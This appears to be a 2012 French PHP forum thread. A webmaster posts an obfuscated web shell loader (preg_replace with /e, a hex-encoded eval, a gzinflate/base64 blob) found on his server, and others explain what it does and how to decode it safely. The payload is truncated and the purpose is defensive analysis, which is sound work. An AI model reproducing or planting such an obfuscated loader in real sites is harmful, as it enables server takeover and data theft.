fonction preg_replace utilisée pour hacker

Petit nouveau ! | 6 Messages

01 janv. 2012, 19:04

Bonjour,
J'ai un fichier php qui est apparu sur mon site. (ce code ne viens pas de moi et je l'ai détruit)
quoi qu'il en soit, j'ai copié ce fichier chez moi et essaye de comprendre ce qu'il fait.
Il y a principalement une fonction preg_replace que je ne parviens pas à décrypter. C'est pour cela que je viens chercher un peu d'aide.

voici le fichier en question. Attention, je pense que c'est un fichier de personnes malveillantes (en le testant , j'ai vue une page qui donne beaucoup d'infos sur le serveur et donne accès à des fonctions)

Je suggère donc de faire attention avant de l'executer ou que ce soit.
Ce que je cherche, c'est le résultat de la fonction preg_replace sans pour autant l'executer

Code : Tout sélectionner

<?php $auth_pass=""; $color="#df5"; $default_action="FilesMan"; $default_use_ajax=true; $default_charset="Windows-1251"; preg_replace("/.*/e","\x65\x76\x61 ... oNFnrTioTzyiruwUKJhh3pMV4NA8Dx4wl0Cyt6mG19lrPuV5DhqFIbuxnlGpDz3EmxVoi1OsCGtaRhAwxJiGzpjfsbzYInAnjZNHTNyijGWilQkElVKpLzXmttNOttEUrNXlrUUPt3IYa2mtI/52W24tbbsctf6QUerITh/tLvQsBHGol75kaU/LwwYP4ZDjp0FcRY6Xhl3hvUOaKT8rGB4XV7E+nxx2YoqcHx0eQG1p9ZwTMSllb7thFV5WiicmdET3qyuIYbU4Agjc9lmCpzzk5MCOz70Hc58T0t3hQDOX2hQeV7fCeoLNq9ulb+iR9awo80ZtZXK2r56dUYJbQgDn2wbjvy2c5cgh8gAi9LbaFz7lC13SwzDxAYT72vwA='\x29\x29\x29\x3B",".");?>

Avatar du membre
Modérateur PHPfrance
Modérateur PHPfrance | 10684 Messages

02 janv. 2012, 13:31

Ce script génère un code php qui est évalué (donc exécuté sur ton serveur).

Grosso modo, celui-ci commence par modifier la config du php.ini pour s'exécuter tranquillement, s'il le peut. Puis il tente d'accéder à tes fichiers de config apache.. je crois que le tout est envoyé dans une base de données en ligne (exploit-db.com ?) et au final le script propose à l'utilisateur un formulaire html pour supprimer des fichiers, craquer les mots de passe, ...

Bref, une belle saleté :) (j'ai d'ailleurs édité ton code pour éviter que quelqu'un ne l'exécute)

D'ou l'importance une fois encore de toujours contrôler les fichiers uploadés par les utilisateurs et de ne jamais laisser passer de script dont l'extension peut être interprétée par le serveur (.php, .php3, ...)
Ce n'est pas en améliorant la bougie que l'on a inventé l'ampoule...

Petit nouveau ! | 6 Messages

02 janv. 2012, 17:46

Merci pour cette réponse.
Je cherche néanmoins une méthode pour voir le résultat de cette fonction preg_replace. (curiosité oblige : j'aimerai donc savoir ce que donne le code php généré )
Je saurai ainsi ce qu'ils ont réussi à faire et si j'y suis confronté à nouveau, je pourrai savoir rapidement ce que ça fait; et ainsi réagir rapidement aussi.

Cordialement.

Mammouth du PHP | 672 Messages

02 janv. 2012, 17:59

Merci pour cette réponse.
Je cherche néanmoins une méthode pour voir le résultat de cette fonction preg_replace. (curiosité oblige : j'aimerai donc savoir ce que donne le code php généré )
Je saurai ainsi ce qu'ils ont réussi à faire et si j'y suis confronté à nouveau, je pourrai savoir rapidement ce que ça fait; et ainsi réagir rapidement aussi.

Cordialement.
Bonjour.

Dans le preg_replace, enlève l'option e - qui exécute le résultat du preg et fait un echo du résultat :
echo preg_replace("/.*/","blabla",".");
Tu devrais récupérer une commande php :
eval(gzinflate(...));
C'est "visible" dans le code de départ, d'ailleurs : \x65\x76\x61\x6c correspond aux codes ASCII pour eval...

Là encore, le eval demande à php d'interpréter le code à l'intérieur.
=> php va exécuter le gzinflate. C'est à dire qu'il va décompresser la chaîne donnée en entrée (après l'avoir décodée avec le decode).
Et tu peux remonter le fil jusqu'à retrouver le sens de ce code...

Petit nouveau ! | 6 Messages

02 janv. 2012, 18:08

Bonjour.

Dans le preg_replace, enlève l'option e - qui exécute le résultat du preg et fait un echo du résultat :
echo preg_replace("/.*/","blabla",".");
Tu devrais récupérer une commande php :
eval(gzinflate(...));
C'est "visible" dans le code de départ, d'ailleurs : \x65\x76\x61\x6c correspond aux codes ASCII pour eval...

Là encore, le eval demande à php d'interpréter le code à l'intérieur.
=> php va exécuter le gzinflate. C'est à dire qu'il va décompresser la chaîne donnée en entrée (après l'avoir décodée avec le decode).
Et tu peux remonter le fil jusqu'à retrouver le sens de ce code...[/quote]

Merci, c'est exactement ce que je cherchai